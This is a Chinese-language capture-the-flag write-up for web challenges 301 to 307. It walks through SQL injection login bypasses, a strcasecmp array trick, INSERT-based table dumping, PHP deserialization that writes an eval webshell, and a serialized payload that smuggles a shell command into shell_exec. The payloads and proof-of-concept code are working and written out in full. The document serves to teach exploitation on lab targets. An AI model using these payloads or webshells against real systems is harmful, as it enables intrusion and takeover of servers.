立个flag,这周必更完。。。
web 301
下载源码,审一下logincheck.php
<?php
error_reporting(0);
session_start();
require 'conn.php';
$_POST['userid']=!empty($_POST['userid'])?$_POST['userid']:"";
$_POST['userpwd']=!empty($_POST['userpwd'])?$_POST['userpwd']:"";
$username=$_POST['userid'];
$userpwd=$_POST['userpwd'];
$sql="select sds_password from sds_user where sds_username='".$username."' order by id limit 1;";
$result=$mysqli->query($sql);
$row=$result->fetch_array(MYSQLI_BOTH);
if($result->num_rows<1){
$_SESSION['error']="1";
header("location:login.php");
return;
}
if(!strcasecmp($userpwd,$row['sds_password'])){
$_SESSION['login']=1;
$result->free();
$mysqli->close();
header("location:index.php");
return;
}
$_SESSION['error']="1";
header("location:login.php");
?>
发现这里的username是采用.
进行拼接的,所以可以采用'
闭合进行拼接
strcasecmp($userpwd,$row['sds_password']
但是strcasecmp这个函数存在漏洞,如果我们传入一个数组,会返回NULL,那么正好!null为true
payload:
userid=admin’ or 1=1#&userpwd[]=1
在feng师傅的博客中学到了用Union进行联合注入
payload:
userid='union select 1#&userpwd=1
web 302
这道比上一道多了一些东西
<?php
error_reporting(0);
session_start();
require 'conn.php';
function sds_decode($str){
return md5(md5($str.md5(base64_encode("sds")))."sds");
}
$_POST['userid']=!empty($_POST['userid'])?$_POST['userid']:"";
$_POST['userpwd']=!empty($_POST['userpwd'])?$_POST['userpwd']:"";
$username=$_POST['userid'];
$userpwd=$_POST['userpwd'];
$sql="select sds_password from sds_user where sds_username='".$username."' order by id limit 1;";
$result=$mysqli->query($sql);
$row=$result->fetch_array(MYSQLI_BOTH);
if($result->num_rows<1){
$_SESSION['error']="1";
header("location:login.php");
return;
}
if(!strcasecmp(sds_decode($userpwd),$row['sds_password'])){
$_SESSION['login']=1;
$result->free();
$mysqli->close();
header("location:index.php");
return;
}
$_SESSION['error']="1";
header("location:login.php");
?>
经过md5加密,我上一道题目的做法就不能使用了,继续用union联合查询
payload:
userid=’ union select ‘d9c77c4e454869d5d8da3b4be79694d3’%23&userpwd=1
WEB 303
比上一道题目还是修改了一下
<?php
error_reporting(0);
session_start();
require 'conn.php';
require 'fun.php';
$_POST['userid']=!empty($_POST['userid'])?$_POST['userid']:"";
$_POST['userpwd']=!empty($_POST['userpwd'])?$_POST['userpwd']:"";
$username=$_POST['userid'];
if(strlen($username)>6){
die();
}
$userpwd=$_POST['userpwd'];
$sql="select sds_password from sds_user where sds_username='".$username."' order by id limit 1;";
$result=$mysqli->query($sql);
$row=$result->fetch_array(MYSQLI_BOTH);
if($result->num_rows<1){
$_SESSION['error']="1";
header("location:login.php");
return;
}
if(!strcasecmp(sds_decode($userpwd),$row['sds_password'])){
$_SESSION['login']=1;
$result->free();
$mysqli->close();
header("location:index.php");
return;
}
$_SESSION['error']="1";
header("location:login.php");
?>
多加了一个userid的长度不能超过6,emmmm,select的长度就有6了。。。尝试构造
然后密码那里我就懵了,因为在fun.php那里输出了一个admin进行加密后的结果,所以我就才是密码是admin,然后就登上了
在user.sql文件中可以发现:
INSERT INTO `sds_user` VALUES (‘1’, ‘admin’, ‘27151b7b1ad51a38ea66b1529cde5ee4’);
登上之后,发现源码标注出了注入点
<?php
session_start();
require 'conn.php';
if(!isset($_SESSION['login'])){
header("location:login.php");
return;
}else{
//注入点
$_POST['dpt_name']=!empty($_POST['dpt_name'])?$_POST['dpt_name']:NULL;
$_POST['dpt_address']=!empty($_POST['dpt_address'])?$_POST['dpt_address']:NULL;
$_POST['dpt_build_year']=!empty($_POST['dpt_build_year'])?$_POST['dpt_build_year']:NULL;
$_POST['dpt_has_cert']=!empty($_POST['dpt_has_cert'])?$_POST['dpt_has_cert']:NULL;
$_POST['dpt_cert_number']=!empty($_POST['dpt_cert_number'])?$_POST['dpt_cert_number']:NULL;
$_POST['dpt_telephone_number']=!empty($_POST['dpt_telephone_number'])?$_POST['dpt_telephone_number']:NULL;
$dpt_name=$_POST['dpt_name'];
$dpt_address=$_POST['dpt_address'];
$dpt_build_year=$_POST['dpt_build_year'];
$dpt_has_cert=$_POST['dpt_has_cert']=="on"?"1":"0";
$dpt_cert_number=$_POST['dpt_cert_number'];
$dpt_telephone_number=$_POST['dpt_telephone_number'];
$mysqli->query("set names utf-8");
$sql="insert into sds_dpt set sds_name='".$dpt_name."',sds_address ='".$dpt_address."',sds_build_date='".$dpt_build_year."',sds_have_safe_card='".$dpt_has_cert."',sds_safe_card_num='".$dpt_cert_number."',sds_telephone='".$dpt_telephone_number."';";
$result=$mysqli->query($sql);
echo $sql;
if($result===true){
$mysqli->close();
header("location:dpt.php");
}else{
die(mysqli_error($mysqli));
}
}
?>
我采用的方法是
INSERT INTO USER SET uid=NULL,uname=’’||(IF(1=1,1,0))/’,upassword=’/,upassword=‘1’
但是
没有成功,我不理解为什么,感觉挺对的
最后采用的是
sds_name=1’,sds_address=(select group_concat(table_name) from information_schema.tables where table_schema=database())#
一步一步注入得到flag
web 304
跟上一道题目一样,只是表名换了
web 305
<?php
session_start();
require 'conn.php';
require 'fun.php';
if(!isset($_SESSION['login'])){
header("location:login.php");
return;
}else{
//注入点
$_POST['dpt_name']=!empty($_POST['dpt_name'])?$_POST['dpt_name']:NULL;
$_POST['dpt_address']=!empty($_POST['dpt_address'])?$_POST['dpt_address']:NULL;
$_POST['dpt_build_year']=!empty($_POST['dpt_build_year'])?$_POST['dpt_build_year']:NULL;
$_POST['dpt_has_cert']=!empty($_POST['dpt_has_cert'])?$_POST['dpt_has_cert']:NULL;
$_POST['dpt_cert_number']=!empty($_POST['dpt_cert_number'])?$_POST['dpt_cert_number']:NULL;
$_POST['dpt_telephone_number']=!empty($_POST['dpt_telephone_number'])?$_POST['dpt_telephone_number']:NULL;
$dpt_name=sds_waf($_POST['dpt_name'])?$_POST['dpt_name']:"";
$dpt_address=sds_waf($_POST['dpt_address'])?$_POST['dpt_address']:"";
$dpt_build_year=sds_waf($_POST['dpt_build_year'])?$_POST['dpt_build_year']:"";
$dpt_has_cert=$_POST['dpt_has_cert']=="on"?"1":"0";
$dpt_cert_number=sds_waf($_POST['dpt_cert_number'])?$_POST['dpt_cert_number']:"";
$dpt_telephone_number=sds_waf($_POST['dpt_telephone_number'])?$_POST['dpt_telephone_number']:"";
$mysqli->query("set names utf-8");
$sql="insert into sds_dpt set sds_name='".$dpt_name."',sds_address ='".$dpt_address."',sds_build_date='".$dpt_build_year."',sds_have_safe_card='".$dpt_has_cert."',sds_safe_card_num='".$dpt_cert_number."',sds_telephone='".$dpt_telephone_number."';";
$result=$mysqli->query($sql);
echo $sql;
if($result===true){
$mysqli->close();
header("location:dpt.php");
}else{
die(mysqli_error($mysqli));
}
}
?>
再上一道题目注入点那里加入了waf
<?php
function sds_decode($str){
return md5(md5($str.md5(base64_encode("sds")))."sds");
}
function sds_waf($str){
if(preg_match('/\~|\`|\!|\@|\#|\$|\%|\^|\&|\*|\(|\)|\_|\+|\=|\{|\}|\[|\]|\;|\:|\'|\"|\,|\.|\?|\/|\\\|\<|\>/', $str)){
return false;
}else{
return true;
}
}
?>
但是他在checklogin.php那里加入了反序列化漏洞
if(isset($user_cookie)){
$user = unserialize($user_cookie);
}
class.php
class user{
public $username;
public $password;
public function __construct($u,$p){
$this->username=$u;
$this->password=$p;
}
public function __destruct(){
file_put_contents($this->username, $this->password);
}
}
直接写马
<?php
class user{
public $username;
public $password;
public function __construct($u,$p){
$this->username=$u;
$this->password=$p;
}
}
echo(serialize(new user('shell.php','<?php eval($_POST[a]);?>')));
然后编码后写到cookie那里
然后进行命令执行
a=include('conn.php');$sql='select flag from sds_flabag';$result=$mysqli->query($sql);$row=$result->fetch_array(MYSQLI_BOTH);var_dump($row);
看feng师傅博客说,连上蚁剑也可以但是我没有成功(数据库的密码源码里给的是假的)
web 306
我昨天晚上写了,没保存,他没了…不写了!!!
web 307
这么多代码,只能一个一个的看了呗
在logout.php里面发现了一个
<?php
session_start();
error_reporting(0);
require 'service/service.php';
unset($_SESSION['login']);
unset($_SESSION['error']);
setcookie('user','',0,'/');
$service = unserialize(base64_decode($_COOKIE['service']));
if($service){
$service->clearCache();
}
setcookie('PHPSESSID','',0,'/');
setcookie('service','',0,'/');
header("location:../login.php");
?>
ok,反序列化
注意下面有一个
if($service){
$service->clearCache();
}
可以看一下这个方法,在dao.php里面
public function clearCache(){
shell_exec('rm -rf ./'.$this->config->cache_dir.'/*');
}
命令执行漏洞,那就拼接命令
<?php
highlight_file(__FILE__);
class dao{
private $config;
public function __construct(){
$this->config=new config();
}
}
class config{
public $cache_dir = '; echo "<?php eval(\$_POST[a]);?>" > a.php;';
}
echo(serialize(new dao()));
echo('<br>');
echo(base64_encode(serialize(new dao())));
shell_exec: 通过 shell 环境执行命令,并且将完整的输出以字符串的方式返回
$在linux中有特殊的含义,所以这里应该使用转移字符